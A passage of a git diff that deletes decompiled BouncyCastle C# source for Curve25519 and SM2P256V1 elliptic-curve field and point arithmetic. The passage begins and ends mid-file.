Curve25519Field.Square(array2, array3); - Curve25519Field.Multiply(array3, y, array3); - uint[] array4 = Nat256.Create(); - Curve25519Field.SquareN(array3, 3, array4); - Curve25519Field.Multiply(array4, array2, array4); - uint[] array5 = array2; - Curve25519Field.SquareN(array4, 4, array5); - Curve25519Field.Multiply(array5, array3, array5); - uint[] array6 = array4; - Curve25519Field.SquareN(array5, 4, array6); - Curve25519Field.Multiply(array6, array3, array6); - uint[] array7 = array3; - Curve25519Field.SquareN(array6, 15, array7); - Curve25519Field.Multiply(array7, array6, array7); - uint[] array8 = array6; - Curve25519Field.SquareN(array7, 30, array8); - Curve25519Field.Multiply(array8, array7, array8); - uint[] array9 = array7; - Curve25519Field.SquareN(array8, 60, array9); - Curve25519Field.Multiply(array9, array8, array9); - uint[] z = array8; - Curve25519Field.SquareN(array9, 11, z); - Curve25519Field.Multiply(z, array5, z); - uint[] array10 = array5; - Curve25519Field.SquareN(z, 120, array10); - Curve25519Field.Multiply(array10, array9, array10); - uint[] z2 = array10; - Curve25519Field.Square(z2, z2); - uint[] array11 = array9; - Curve25519Field.Square(z2, array11); - if (Nat256.Eq(y, array11)) - { - return new Curve25519FieldElement(z2); - } - Curve25519Field.Multiply(z2, PRECOMP_POW2, z2); - Curve25519Field.Square(z2, array11); - if (Nat256.Eq(y, array11)) - { - return new Curve25519FieldElement(z2); - } - return null; - } - - public override bool Equals(object obj) - { - return Equals(obj as Curve25519FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as Curve25519FieldElement); - } - - public virtual bool Equals(Curve25519FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat256.Eq(x, other.x); - } - - public override int GetHashCode() - { - return Q.GetHashCode() ^ Arrays.GetHashCode(x, 0, 8); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Djb/Curve25519Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Djb/Curve25519Point.cs deleted file mode 100644 index 4d52795..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/Djb/Curve25519Point.cs +++ /dev/null @@ -1,271 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.Djb; - -internal class Curve25519Point : AbstractFpPoint -{ - public Curve25519Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public Curve25519Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal Curve25519Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new Curve25519Point(null, AffineXCoord, AffineYCoord); - } - - public override ECFieldElement GetZCoord(int index) - { - if (index == 1) - { - return GetJacobianModifiedW(); - } - return base.GetZCoord(index); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - Curve25519FieldElement curve25519FieldElement = (Curve25519FieldElement)base.RawXCoord; - Curve25519FieldElement curve25519FieldElement2 = (Curve25519FieldElement)base.RawYCoord; - Curve25519FieldElement curve25519FieldElement3 = (Curve25519FieldElement)base.RawZCoords[0]; - Curve25519FieldElement curve25519FieldElement4 = (Curve25519FieldElement)b.RawXCoord; - Curve25519FieldElement curve25519FieldElement5 = (Curve25519FieldElement)b.RawYCoord; - Curve25519FieldElement curve25519FieldElement6 = (Curve25519FieldElement)b.RawZCoords[0]; - uint[] array = Nat256.CreateExt(); - uint[] array2 = Nat256.Create(); - uint[] array3 = Nat256.Create(); - uint[] array4 = Nat256.Create(); - bool isOne = curve25519FieldElement3.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = curve25519FieldElement4.x; - array6 = curve25519FieldElement5.x; - } - else - { - array6 = array3; - Curve25519Field.Square(curve25519FieldElement3.x, array6); - array5 = array2; - Curve25519Field.Multiply(array6, curve25519FieldElement4.x, array5); - Curve25519Field.Multiply(array6, curve25519FieldElement3.x, array6); - Curve25519Field.Multiply(array6, curve25519FieldElement5.x, array6); - } - bool isOne2 = curve25519FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = curve25519FieldElement.x; - array8 = curve25519FieldElement2.x; - } - else - { - array8 = array4; - Curve25519Field.Square(curve25519FieldElement6.x, array8); - array7 = array; - Curve25519Field.Multiply(array8, curve25519FieldElement.x, array7); - Curve25519Field.Multiply(array8, curve25519FieldElement6.x, array8); - Curve25519Field.Multiply(array8, curve25519FieldElement2.x, array8); - } - uint[] array9 = Nat256.Create(); - Curve25519Field.Subtract(array7, array5, array9); - uint[] array10 = array2; - Curve25519Field.Subtract(array8, array6, array10); - if (Nat256.IsZero(array9)) - { - if (Nat256.IsZero(array10)) - { - return Twice(); - } - return curve.Infinity; - } - uint[] array11 = Nat256.Create(); - Curve25519Field.Square(array9, array11); - uint[] array12 = Nat256.Create(); - Curve25519Field.Multiply(array11, array9, array12); - uint[] array13 = array3; - Curve25519Field.Multiply(array11, array7, array13); - Curve25519Field.Negate(array12, array12); - Nat256.Mul(array8, array12, array); - uint x = Nat256.AddBothTo(array13, array13, array12); - Curve25519Field.Reduce27(x, array12); - Curve25519FieldElement curve25519FieldElement7 = new Curve25519FieldElement(array4); - Curve25519Field.Square(array10, curve25519FieldElement7.x); - Curve25519Field.Subtract(curve25519FieldElement7.x, array12, curve25519FieldElement7.x); - Curve25519FieldElement curve25519FieldElement8 = new Curve25519FieldElement(array12); - Curve25519Field.Subtract(array13, curve25519FieldElement7.x, curve25519FieldElement8.x); - Curve25519Field.MultiplyAddToExt(curve25519FieldElement8.x, array10, array); - Curve25519Field.Reduce(array, curve25519FieldElement8.x); - Curve25519FieldElement curve25519FieldElement9 = new Curve25519FieldElement(array9); - if (!isOne) - { - Curve25519Field.Multiply(curve25519FieldElement9.x, curve25519FieldElement3.x, curve25519FieldElement9.x); - } - if (!isOne2) - { - Curve25519Field.Multiply(curve25519FieldElement9.x, curve25519FieldElement6.x, curve25519FieldElement9.x); - } - uint[] zSquared = ((isOne && isOne2) ? array11 : null); - Curve25519FieldElement curve25519FieldElement10 = CalculateJacobianModifiedW(curve25519FieldElement9, zSquared); - ECFieldElement[] zs = new ECFieldElement[2] { curve25519FieldElement9, curve25519FieldElement10 }; - return new Curve25519Point(curve, curve25519FieldElement7, curve25519FieldElement8, zs, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return curve.Infinity; - } - return TwiceJacobianModified(calculateW: true); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - return TwiceJacobianModified(calculateW: false).Add(b); - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity || base.RawYCoord.IsZero) - { - return this; - } - return TwiceJacobianModified(calculateW: false).Add(this); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - return new Curve25519Point(Curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } - - protected virtual Curve25519FieldElement CalculateJacobianModifiedW(Curve25519FieldElement Z, uint[] ZSquared) - { - Curve25519FieldElement curve25519FieldElement = (Curve25519FieldElement)Curve.A; - if (Z.IsOne) - { - return curve25519FieldElement; - } - Curve25519FieldElement curve25519FieldElement2 = new Curve25519FieldElement(); - if (ZSquared == null) - { - ZSquared = curve25519FieldElement2.x; - Curve25519Field.Square(Z.x, ZSquared); - } - Curve25519Field.Square(ZSquared, curve25519FieldElement2.x); - Curve25519Field.Multiply(curve25519FieldElement2.x, curve25519FieldElement.x, curve25519FieldElement2.x); - return curve25519FieldElement2; - } - - protected virtual Curve25519FieldElement GetJacobianModifiedW() - { - ECFieldElement[] rawZCoords = base.RawZCoords; - Curve25519FieldElement curve25519FieldElement = (Curve25519FieldElement)rawZCoords[1]; - if (curve25519FieldElement == null) - { - curve25519FieldElement = (Curve25519FieldElement)(rawZCoords[1] = CalculateJacobianModifiedW((Curve25519FieldElement)rawZCoords[0], null)); - } - return curve25519FieldElement; - } - - protected virtual Curve25519Point TwiceJacobianModified(bool calculateW) - { - Curve25519FieldElement curve25519FieldElement = (Curve25519FieldElement)base.RawXCoord; - Curve25519FieldElement curve25519FieldElement2 = (Curve25519FieldElement)base.RawYCoord; - Curve25519FieldElement curve25519FieldElement3 = (Curve25519FieldElement)base.RawZCoords[0]; - Curve25519FieldElement jacobianModifiedW = GetJacobianModifiedW(); - uint[] array = Nat256.Create(); - Curve25519Field.Square(curve25519FieldElement.x, array); - uint num = Nat256.AddBothTo(array, array, array); - num += Nat256.AddTo(jacobianModifiedW.x, array); - Curve25519Field.Reduce27(num, array); - uint[] array2 = Nat256.Create(); - Curve25519Field.Twice(curve25519FieldElement2.x, array2); - uint[] array3 = Nat256.Create(); - Curve25519Field.Multiply(array2, curve25519FieldElement2.x, array3); - uint[] array4 = Nat256.Create(); - Curve25519Field.Multiply(array3, curve25519FieldElement.x, array4); - Curve25519Field.Twice(array4, array4); - uint[] array5 = Nat256.Create(); - Curve25519Field.Square(array3, array5); - Curve25519Field.Twice(array5, array5); - Curve25519FieldElement curve25519FieldElement4 = new Curve25519FieldElement(array3); - Curve25519Field.Square(array, curve25519FieldElement4.x); - Curve25519Field.Subtract(curve25519FieldElement4.x, array4, curve25519FieldElement4.x); - Curve25519Field.Subtract(curve25519FieldElement4.x, array4, curve25519FieldElement4.x); - Curve25519FieldElement curve25519FieldElement5 = new Curve25519FieldElement(array4); - Curve25519Field.Subtract(array4, curve25519FieldElement4.x, curve25519FieldElement5.x); - Curve25519Field.Multiply(curve25519FieldElement5.x, array, curve25519FieldElement5.x); - Curve25519Field.Subtract(curve25519FieldElement5.x, array5, curve25519FieldElement5.x); - Curve25519FieldElement curve25519FieldElement6 = new Curve25519FieldElement(array2); - if (!Nat256.IsOne(curve25519FieldElement3.x)) - { - Curve25519Field.Multiply(curve25519FieldElement6.x, curve25519FieldElement3.x, curve25519FieldElement6.x); - } - Curve25519FieldElement curve25519FieldElement7 = null; - if (calculateW) - { - curve25519FieldElement7 = new Curve25519FieldElement(array5); - Curve25519Field.Multiply(curve25519FieldElement7.x, jacobianModifiedW.x, curve25519FieldElement7.x); - Curve25519Field.Twice(curve25519FieldElement7.x, curve25519FieldElement7.x); - } - return new Curve25519Point(Curve, curve25519FieldElement4, curve25519FieldElement5, new ECFieldElement[2] { curve25519FieldElement6, curve25519FieldElement7 }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/GM/SM2P256V1Curve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/GM/SM2P256V1Curve.cs deleted file mode 100644 index b137338..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/GM/SM2P256V1Curve.cs +++ /dev/null @@ -1,119 +0,0 @@ -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Math.EC.Custom.GM; - -internal class SM2P256V1Curve : AbstractFpCurve -{ - private class SM2P256V1LookupTable : ECLookupTable - { - private readonly SM2P256V1Curve m_outer; - - private readonly uint[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal SM2P256V1LookupTable(SM2P256V1Curve outer, uint[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - uint[] array = Nat256.Create(); - uint[] array2 = Nat256.Create(); - int num = 0; - for (int i = 0; i < m_size; i++) - { - uint num2 = (uint)((i ^ index) - 1 >> 31); - for (int j = 0; j < 8; j++) - { - uint[] array4; - uint[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = array4[num4] ^ (m_table[num + j] & num2); - uint[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = array4[num4] ^ (m_table[num + 8 + j] & num2); - } - num += 16; - } - return m_outer.CreateRawPoint(new SM2P256V1FieldElement(array), new SM2P256V1FieldElement(array2), withCompression: false); - } - } - - private const int SM2P256V1_DEFAULT_COORDS = 2; - - private const int SM2P256V1_FE_INTS = 8; - - public static readonly BigInteger q = new BigInteger(1, Hex.Decode("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF")); - - protected readonly SM2P256V1Point m_infinity; - - public virtual BigInteger Q => q; - - public override ECPoint Infinity => m_infinity; - - public override int FieldSize => q.BitLength; - - public SM2P256V1Curve() - : base(q) - { - m_infinity = new SM2P256V1Point(this, null, null); - m_a = FromBigInteger(new BigInteger(1, Hex.Decode("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC"))); - m_b = FromBigInteger(new BigInteger(1, Hex.Decode("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93"))); - m_order = new BigInteger(1, Hex.Decode("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123")); - m_cofactor = BigInteger.One; - m_coord = 2; - } - - protected override ECCurve CloneCurve() - { - return new SM2P256V1Curve(); - } - - public override bool SupportsCoordinateSystem(int coord) - { - if (coord == 2) - { - return true; - } - return false; - } - - public override ECFieldElement FromBigInteger(BigInteger x) - { - return new SM2P256V1FieldElement(x); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression) - { - return new SM2P256V1Point(this, x, y, withCompression); - } - - protected internal override ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - { - return new SM2P256V1Point(this, x, y, zs, withCompression); - } - - public override ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - uint[] array = new uint[len * 8 * 2]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - Nat256.Copy(((SM2P256V1FieldElement)eCPoint.RawXCoord).x, 0, array, num); - num += 8; - Nat256.Copy(((SM2P256V1FieldElement)eCPoint.RawYCoord).x, 0, array, num); - num += 8; - } - return new SM2P256V1LookupTable(this, array, len); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/GM/SM2P256V1Field.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/GM/SM2P256V1Field.cs deleted file mode 100644 index 1804bcf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/GM/SM2P256V1Field.cs +++ /dev/null @@ -1,287 +0,0 @@ -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.GM; - -internal class SM2P256V1Field -{ - internal const uint P7 = 4294967294u; - - internal const uint PExt15 = 4294967294u; - - internal static readonly uint[] P = new uint[8] { 4294967295u, 4294967295u, 0u, 4294967295u, 4294967295u, 4294967295u, 4294967295u, 4294967294u }; - - internal static readonly uint[] PExt = new uint[16] - { - 1u, 0u, 4294967294u, 1u, 1u, 4294967294u, 0u, 2u, 4294967294u, 4294967293u, - 3u, 4294967294u, 4294967295u, 4294967295u, 0u, 4294967294u - }; - - public static void Add(uint[] x, uint[] y, uint[] z) - { - if (Nat256.Add(x, y, z) != 0 || (z[7] >= 4294967294u && Nat256.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static void AddExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Add(16, xx, yy, zz) != 0 || (zz[15] >= 4294967294u && Nat.Gte(16, zz, PExt))) - { - Nat.SubFrom(16, PExt, zz); - } - } - - public static void AddOne(uint[] x, uint[] z) - { - if (Nat.Inc(8, x, z) != 0 || (z[7] >= 4294967294u && Nat256.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static uint[] FromBigInteger(BigInteger x) - { - uint[] array = Nat256.FromBigInteger(x); - if (array[7] >= 4294967294u && Nat256.Gte(array, P)) - { - Nat256.SubFrom(P, array); - } - return array; - } - - public static void Half(uint[] x, uint[] z) - { - if ((x[0] & 1) == 0) - { - Nat.ShiftDownBit(8, x, 0u, z); - return; - } - uint c = Nat256.Add(x, P, z); - Nat.ShiftDownBit(8, z, c); - } - - public static void Multiply(uint[] x, uint[] y, uint[] z) - { - uint[] array = Nat256.CreateExt(); - Nat256.Mul(x, y, array); - Reduce(array, z); - } - - public static void MultiplyAddToExt(uint[] x, uint[] y, uint[] zz) - { - if (Nat256.MulAddTo(x, y, zz) != 0 || (zz[15] >= 4294967294u && Nat.Gte(16, zz, PExt))) - { - Nat.SubFrom(16, PExt, zz); - } - } - - public static void Negate(uint[] x, uint[] z) - { - if (Nat256.IsZero(x)) - { - Nat256.Zero(z); - } - else - { - Nat256.Sub(P, x, z); - } - } - - public static void Reduce(uint[] xx, uint[] z) - { - long num = xx[8]; - long num2 = xx[9]; - long num3 = xx[10]; - long num4 = xx[11]; - long num5 = xx[12]; - long num6 = xx[13]; - long num7 = xx[14]; - long num8 = xx[15]; - long num9 = num + num2; - long num10 = num3 + num4; - long num11 = num5 + num8; - long num12 = num6 + num7; - long num13 = num12 + (num8 << 1); - long num14 = num9 + num12; - long num15 = num10 + num11 + num14; - long num16 = 0L; - num16 += xx[0] + num15 + num6 + num7 + num8; - z[0] = (uint)num16; - num16 >>= 32; - num16 += xx[1] + num15 - num + num7 + num8; - z[1] = (uint)num16; - num16 >>= 32; - num16 += xx[2] - num14; - z[2] = (uint)num16; - num16 >>= 32; - num16 += xx[3] + num15 - num2 - num3 + num6; - z[3] = (uint)num16; - num16 >>= 32; - num16 += xx[4] + num15 - num10 - num + num7; - z[4] = (uint)num16; - num16 >>= 32; - num16 += xx[5] + num13 + num3; - z[5] = (uint)num16; - num16 >>= 32; - num16 += xx[6] + num4 + num7 + num8; - z[6] = (uint)num16; - num16 >>= 32; - num16 += xx[7] + num15 + num13 + num5; - z[7] = (uint)num16; - num16 >>= 32; - Reduce32((uint)num16, z); - } - - public static void Reduce32(uint x, uint[] z) - { - long num = 0L; - if (x != 0) - { - long num2 = x; - num += z[0] + num2; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - } - num += z[2] - num2; - z[2] = (uint)num; - num >>= 32; - num += z[3] + num2; - z[3] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[4]; - z[4] = (uint)num; - num >>= 32; - num += z[5]; - z[5] = (uint)num; - num >>= 32; - num += z[6]; - z[6] = (uint)num; - num >>= 32; - } - num += z[7] + num2; - z[7] = (uint)num; - num >>= 32; - } - if (num != 0 || (z[7] >= 4294967294u && Nat256.Gte(z, P))) - { - AddPInvTo(z); - } - } - - public static void Square(uint[] x, uint[] z) - { - uint[] array = Nat256.CreateExt(); - Nat256.Square(x, array); - Reduce(array, z); - } - - public static void SquareN(uint[] x, int n, uint[] z) - { - uint[] array = Nat256.CreateExt(); - Nat256.Square(x, array); - Reduce(array, z); - while (--n > 0) - { - Nat256.Square(z, array); - Reduce(array, z); - } - } - - public static void Subtract(uint[] x, uint[] y, uint[] z) - { - if (Nat256.Sub(x, y, z) != 0) - { - SubPInvFrom(z); - } - } - - public static void SubtractExt(uint[] xx, uint[] yy, uint[] zz) - { - if (Nat.Sub(16, xx, yy, zz) != 0) - { - Nat.AddTo(16, PExt, zz); - } - } - - public static void Twice(uint[] x, uint[] z) - { - if (Nat.ShiftUpBit(8, x, 0u, z) != 0 || (z[7] >= 4294967294u && Nat256.Gte(z, P))) - { - AddPInvTo(z); - } - } - - private static void AddPInvTo(uint[] z) - { - long num = (long)z[0] + 1L; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - } - num += (long)z[2] - 1L; - z[2] = (uint)num; - num >>= 32; - num += (long)z[3] + 1L; - z[3] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[4]; - z[4] = (uint)num; - num >>= 32; - num += z[5]; - z[5] = (uint)num; - num >>= 32; - num += z[6]; - z[6] = (uint)num; - num >>= 32; - } - num += (long)z[7] + 1L; - z[7] = (uint)num; - } - - private static void SubPInvFrom(uint[] z) - { - long num = (long)z[0] - 1L; - z[0] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[1]; - z[1] = (uint)num; - num >>= 32; - } - num += (long)z[2] + 1L; - z[2] = (uint)num; - num >>= 32; - num += (long)z[3] - 1L; - z[3] = (uint)num; - num >>= 32; - if (num != 0) - { - num += z[4]; - z[4] = (uint)num; - num >>= 32; - num += z[5]; - z[5] = (uint)num; - num >>= 32; - num += z[6]; - z[6] = (uint)num; - num >>= 32; - } - num += (long)z[7] - 1L; - z[7] = (uint)num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/GM/SM2P256V1FieldElement.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/GM/SM2P256V1FieldElement.cs deleted file mode 100644 index c8b1a40..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/GM/SM2P256V1FieldElement.cs +++ /dev/null @@ -1,184 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC.Custom.GM; - -internal class SM2P256V1FieldElement : AbstractFpFieldElement -{ - public static readonly BigInteger Q = SM2P256V1Curve.q; - - protected internal readonly uint[] x; - - public override bool IsZero => Nat256.IsZero(x); - - public override bool IsOne => Nat256.IsOne(x); - - public override string FieldName => "SM2P256V1Field"; - - public override int FieldSize => Q.BitLength; - - public SM2P256V1FieldElement(BigInteger x) - { - if (x == null || x.SignValue < 0 || x.CompareTo(Q) >= 0) - { - throw new ArgumentException("value invalid for SM2P256V1FieldElement", "x"); - } - this.x = SM2P256V1Field.FromBigInteger(x); - } - - public SM2P256V1FieldElement() - { - x = Nat256.Create(); - } - - protected internal SM2P256V1FieldElement(uint[] x) - { - this.x = x; - } - - public override bool TestBitZero() - { - return Nat256.GetBit(x, 0) == 1; - } - - public override BigInteger ToBigInteger() - { - return Nat256.ToBigInteger(x); - } - - public override ECFieldElement Add(ECFieldElement b) - { - uint[] z = Nat256.Create(); - SM2P256V1Field.Add(x, ((SM2P256V1FieldElement)b).x, z); - return new SM2P256V1FieldElement(z); - } - - public override ECFieldElement AddOne() - { - uint[] z = Nat256.Create(); - SM2P256V1Field.AddOne(x, z); - return new SM2P256V1FieldElement(z); - } - - public override ECFieldElement Subtract(ECFieldElement b) - { - uint[] z = Nat256.Create(); - SM2P256V1Field.Subtract(x, ((SM2P256V1FieldElement)b).x, z); - return new SM2P256V1FieldElement(z); - } - - public override ECFieldElement Multiply(ECFieldElement b) - { - uint[] z = Nat256.Create(); - SM2P256V1Field.Multiply(x, ((SM2P256V1FieldElement)b).x, z); - return new SM2P256V1FieldElement(z); - } - - public override ECFieldElement Divide(ECFieldElement b) - { - uint[] z = Nat256.Create(); - Mod.Invert(SM2P256V1Field.P, ((SM2P256V1FieldElement)b).x, z); - SM2P256V1Field.Multiply(z, x, z); - return new SM2P256V1FieldElement(z); - } - - public override ECFieldElement Negate() - { - uint[] z = Nat256.Create(); - SM2P256V1Field.Negate(x, z); - return new SM2P256V1FieldElement(z); - } - - public override ECFieldElement Square() - { - uint[] z = Nat256.Create(); - SM2P256V1Field.Square(x, z); - return new SM2P256V1FieldElement(z); - } - - public override ECFieldElement Invert() - { - uint[] z = Nat256.Create(); - Mod.Invert(SM2P256V1Field.P, x, z); - return new SM2P256V1FieldElement(z); - } - - public override ECFieldElement Sqrt() - { - uint[] y = x; - if (Nat256.IsZero(y) || Nat256.IsOne(y)) - { - return this; - } - uint[] array = Nat256.Create(); - SM2P256V1Field.Square(y, array); - SM2P256V1Field.Multiply(array, y, array); - uint[] array2 = Nat256.Create(); - SM2P256V1Field.SquareN(array, 2, array2); - SM2P256V1Field.Multiply(array2, array, array2); - uint[] array3 = Nat256.Create(); - SM2P256V1Field.SquareN(array2, 2, array3); - SM2P256V1Field.Multiply(array3, array, array3); - uint[] array4 = array; - SM2P256V1Field.SquareN(array3, 6, array4); - SM2P256V1Field.Multiply(array4, array3, array4); - uint[] array5 = Nat256.Create(); - SM2P256V1Field.SquareN(array4, 12, array5); - SM2P256V1Field.Multiply(array5, array4, array5); - uint[] array6 = array4; - SM2P256V1Field.SquareN(array5, 6, array6); - SM2P256V1Field.Multiply(array6, array3, array6); - uint[] array7 = array3; - SM2P256V1Field.Square(array6, array7); - SM2P256V1Field.Multiply(array7, y, array7); - uint[] z = array5; - SM2P256V1Field.SquareN(array7, 31, z); - uint[] array8 = array6; - SM2P256V1Field.Multiply(z, array7, array8); - SM2P256V1Field.SquareN(z, 32, z); - SM2P256V1Field.Multiply(z, array8, z); - SM2P256V1Field.SquareN(z, 62, z); - SM2P256V1Field.Multiply(z, array8, z); - SM2P256V1Field.SquareN(z, 4, z); - SM2P256V1Field.Multiply(z, array2, z); - SM2P256V1Field.SquareN(z, 32, z); - SM2P256V1Field.Multiply(z, y, z); - SM2P256V1Field.SquareN(z, 62, z); - uint[] array9 = array2; - SM2P256V1Field.Square(z, array9); - if (!Nat256.Eq(y, array9)) - { - return null; - } - return new SM2P256V1FieldElement(z); - } - - public override bool Equals(object obj) - { - return Equals(obj as SM2P256V1FieldElement); - } - - public override bool Equals(ECFieldElement other) - { - return Equals(other as SM2P256V1FieldElement); - } - - public virtual bool Equals(SM2P256V1FieldElement other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - return Nat256.Eq(x, other.x); - } - - public override int GetHashCode() - { - return Q.GetHashCode() ^ Arrays.GetHashCode(x, 0, 8); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/GM/SM2P256V1Point.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/GM/SM2P256V1Point.cs deleted file mode 100644 index c78ee85..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/Custom/GM/SM2P256V1Point.cs +++ /dev/null @@ -1,228 +0,0 @@ -using System; -using Org.BouncyCastle.Math.Raw; - -namespace Org.BouncyCastle.Math.EC.Custom.GM; - -internal class SM2P256V1Point : AbstractFpPoint -{ - public SM2P256V1Point(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - public SM2P256V1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal SM2P256V1Point(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new SM2P256V1Point(null, AffineXCoord, AffineYCoord); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - SM2P256V1FieldElement sM2P256V1FieldElement = (SM2P256V1FieldElement)base.RawXCoord; - SM2P256V1FieldElement sM2P256V1FieldElement2 = (SM2P256V1FieldElement)base.RawYCoord; - SM2P256V1FieldElement sM2P256V1FieldElement3 = (SM2P256V1FieldElement)b.RawXCoord; - SM2P256V1FieldElement sM2P256V1FieldElement4 = (SM2P256V1FieldElement)b.RawYCoord; - SM2P256V1FieldElement sM2P256V1FieldElement5 = (SM2P256V1FieldElement)base.RawZCoords[0]; - SM2P256V1FieldElement sM2P256V1FieldElement6 = (SM2P256V1FieldElement)b.RawZCoords[0]; - uint[] array = Nat256.CreateExt(); - uint[] array2 = Nat256.Create(); - uint[] array3 = Nat256.Create(); - uint[] array4 = Nat256.Create(); - bool isOne = sM2P256V1FieldElement5.IsOne; - uint[] array5; - uint[] array6; - if (isOne) - { - array5 = sM2P256V1FieldElement3.x; - array6 = sM2P256V1FieldElement4.x; - } - else - { - array6 = array3; - SM2P256V1Field.Square(sM2P256V1FieldElement5.x, array6); - array5 = array2; - SM2P256V1Field.Multiply(array6, sM2P256V1FieldElement3.x, array5); - SM2P256V1Field.Multiply(array6, sM2P256V1FieldElement5.x, array6); - SM2P256V1Field.Multiply(array6, sM2P256V1FieldElement4.x, array6); - } - bool isOne2 = sM2P256V1FieldElement6.IsOne; - uint[] array7; - uint[] array8; - if (isOne2) - { - array7 = sM2P256V1FieldElement.x; - array8 = sM2P256V1FieldElement2.x; - } - else - { - array8 = array4; - SM2P256V1Field.Square(sM2P256V1FieldElement6.x, array8); - array7 = array; - SM2P256V1Field.Multiply(array8, sM2P256V1FieldElement.x, array7); - SM2P256V1Field.Multiply(array8, sM2P256V1FieldElement6.x, array8); - SM2P256V1Field.Multiply(array8, sM2P256V1FieldElement2.x, array8); - } - uint[] array9 = Nat256.Create(); - SM2P256V1Field.Subtract(array7, array5, array9); - uint[] array10 = array2; - SM2P256V1Field.Subtract(array8, array6, array10); - if 